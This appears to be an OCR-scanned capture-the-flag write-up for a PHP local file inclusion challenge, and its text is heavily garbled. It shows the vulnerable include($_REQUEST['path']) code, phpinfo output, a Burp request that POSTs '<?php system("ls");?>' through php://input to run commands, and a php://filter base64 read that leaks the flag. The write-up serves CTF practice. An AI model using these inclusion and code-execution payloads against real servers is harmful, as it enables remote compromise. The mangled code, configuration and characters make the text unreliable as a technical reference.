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<Iphp
shaw_source(__FILE_ ),
iflisset (3_REQUEST[ path’ 1)) {
include ($_EEQUEST[ path’ 1)
telzed
include( phpinfo.php’ )

}

Php

System Linux 6c880d5c9445 4.4,169-1.el6.elrepo.xB56_64 #1 SMP Fri Dec 21 11:47:22 EST 2018 xB5_64
Build Date Dec 13 2016 00:04:38
Configure Command /home/buildozer/aports/main/php5/src/php-5.6.29/configure '--build=x86_64-alpine-linux-musl' '--

host=x86_64-alpine-linux-musl '--prefix=/usr’ '--sysconfdir=/etc/php5' --localstatedir=/var’ --with-
layout=GNU" '--with-config-file-path=fetc/php5' '--with-config-file-scan-dir=/etc/php5/conf.d' *--enable-
inline-optimization’ "--disable-debug' *--disable-rpath’ '--disable-static' *--enable-shared' '--mandir=/usr
Jsharefman’ "--with-pic' "--disable-cli’ "--with-apxs2' *--enable-becmath=shared' *--with-bz2=shared" *--
enable-calendar= shared —-with-cdb' - -enable—ctype shared” "--with-curl=shared' '--enable-dba=shared’
'--with-db4=shared' '--enable-dom=shared' '--with-enchant=shared' *--enable-exif=shared" "--with-
freetype-dir=shared, fusr' '--enable-ftp=shared’ --with-gd=st i " ble-gd-native-ttf' "--with-
gdbm=shared" '--with-gettext=shared' '--with-gmp=sk 1" "--with-icol l " '--with-icu-dir=fusr' '--
with-imap=shared' '--with-imap-ssl=shared' --enable-intl=shared' '--with-jpeg-dir=shared,/usr' "--
enable-json=shared’ --with-ldap=shared" ——enable libxml=shared' '--enable-i mbregex *—-enable-
mbstring=all’ '--with-mecrypt=shared" "--with-mysql=sk | glnd" '--with-mysqgl-sock=/fvar
Jrun/mysgld/mysqgld.sock’ '--with-mysqli=shared,mysglnd" * wlh -openssl=shared’ '--with-pcre-
regex=/usr' '--enable-pcntl=shared" '--enable-pdo=shared’ '--with-pdo-mysqgl=shared, mysglnd’ '--with-
pdo-odbc=shared,unixODBC, fusr' '--with-pdo-pgsql=shared' '--with-pdo-sqglite=shared,/usr’ '--with-
pg&ql shared" -enable—phar—shared' '——with-) -Png- -dir=shared /usr' '--enable-posix=shared’ '--with-
psp: h " --with-regex=php '——enable -session’ '--enable-shmop=shared' '--with-snmp=shared’ '--
bl b i ble-sock hared" '--with-sqlite3 =ck d fusr' * bl hared"
—-enable—sysvsem shared' --enable-sysvshm=shared' *--with-unixODBC=shared, /usr’ ——enable—
xml=shared’ "--enable-xmlreader=shared' "--with-xmlrpc=shared’ "--with-xsl=shared' "--enable-
wddx=shared' "--enable-zip=shared" "--with-zlib=shared’ '--without-db1' --without-db2' "--without-db3"
'--without-qdbm’ '--with-mssql=shared' '--with-pdo-dblib=shared' '--enable-opcache’
*build_alias=x86_64-alpine-linux-musl' "host_alias=x86_64-alpine-linux-musl’ "CC=gcc’ 'CFLAGS=-Os
-fomit-frame-pointer -g' 'LDFLAGS =-WI --as-needed"’ 'CPPFLAGS =-0s -fomit-frame-pointer’ "C¥XFLAGS =-
Os -fomit-frame-pointer -g*
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allow_url_fopen = On && allow_url_include = Off  AJ LA fih % < s 321442 4 IR TH
allow_url_fopen = On && allow_url_include = On A LA fih 2 i F2 314 & IR TH
allow_url_fopen = Off && allow_url_include = On i@ i php://inputth thSGE4T 6 &

- F 7 LAFE Wphpinfo, M — T,k Hallow _url_includeiT FF i, FT LA FH php://input®hilt, 1% postit i S #
<?php system("ls");?>

Core

| PHP Version | 5.6.29 |
| omeawe [ v [ wastervake
allow_url fopen Off Off

AT include On On

always populate raw_post data 0 0

arg separator.input & &

arg_separator.output 3 &

asp_tags Off Off

auto_append _file no value no value

auto_globals_jit On On

auto_prepend file no value no value

browscap no value no value
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Request

Raw | Params | Headers | Hex | XML

Target: http://3324232fbfd640609596b506bT affebb2e 3cTe3339caddT1.changame.ichungiu.com / @

Response

Raw | Headers | Hex | Render

POST /?path=php:/finput / HTTP1.1 :
Host: 3324232fhfdE40609596h506 07 affeBh2e3c7e3339cadty 1.changames. ichungiu.com
User-Agent: Mozilla/5.0 (Windows MT 10.0; WinB4; x64; nv.84.0) Gecko/20100101
Firefox/4.0
Accept: text/html application/xhtml+xml application/xml g=0.9 image/webp */*q=0.8
Accept-Language: zh-CN zh;q=0.8 zh-TW,q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: UM_distinctid=173e71cd2181-089384 bfede dffd-4c302e7#1fad00- 17367 1cd21cE;
Hm_Ivt_2d0601bd28de7 d49818249cf35d95943=1604E670726;
__jsluid_h=09fd90bf5fc0c ae34fe7{e097 570757 a
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 21
<?php system{"ls");?>
=
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@ uJ u u Type a search term 0 matches

Done

HTTR/1.1 200 0K :
Date: Wed, 23 Dec 2020 12:39:31 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Wary: Accept-Encoding
H-Wia-JSL 2941471 -
¥-Cache: bypass
Content-Length: 804'
<code><span style="color #100000">
<span style="color: #000EE">&It;? php&nbsp;<br />show_source</span><span style="color
#007700">(</span><span style="color, #0000BB">__FILE__</span><span style="color #007700">);<hbr
/>if(isset(</span><span style="color: #0000BE">$_REQUEST</span><span style="color
#07700">[</span=<span style="color. #DDO000">"path’</span>=<span style="color: #007700">]){<br
/>&nhsp;&nbsp;&nbsp;&nbsp;include(</span><span style="color; #I000BE">$ REQUEST</span><span
style="color: #07700">[</span=<span style="color: #DDO000"="path’</span><span style="caolor:
#IO7700"=]);<br /=}else{<br />&nbsp;&nbsp;&nbsp;&nbsp;include(</span><span style="color
#DDO00D">"phpinfo.php'</span><span style="color: #007700"=);<br />}<br /><fspan>
</span>
</code>dle345aae.php
index.php
phpinfo.php
=
v
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1.002 bytes | 108 millis

f# php:/filter/read=convert.base64-encode/resource=dle345aae.php U1 A 2 :

<fphp

show_sourcel(_ FILE_ )

if(isset (3_REQUEST[ path’ 1) {
include (3 _REQUEST[ path’ 1)

telsef

}

include ( phpinfo. phy’ J;

PD9waHAgCIRMbGFNPSJmbGFnezYzNDUTNTQ4LTVKMzEtNDFiZS05YjQzLWRIMmMMS5YzdkZTJkYX0iOwo =

1 F burpsuitef#iy :

<?php system("ls");?=>

<?php
blag="flag{E3455548-5d31-41be-89b43-de2cScy de2da)";
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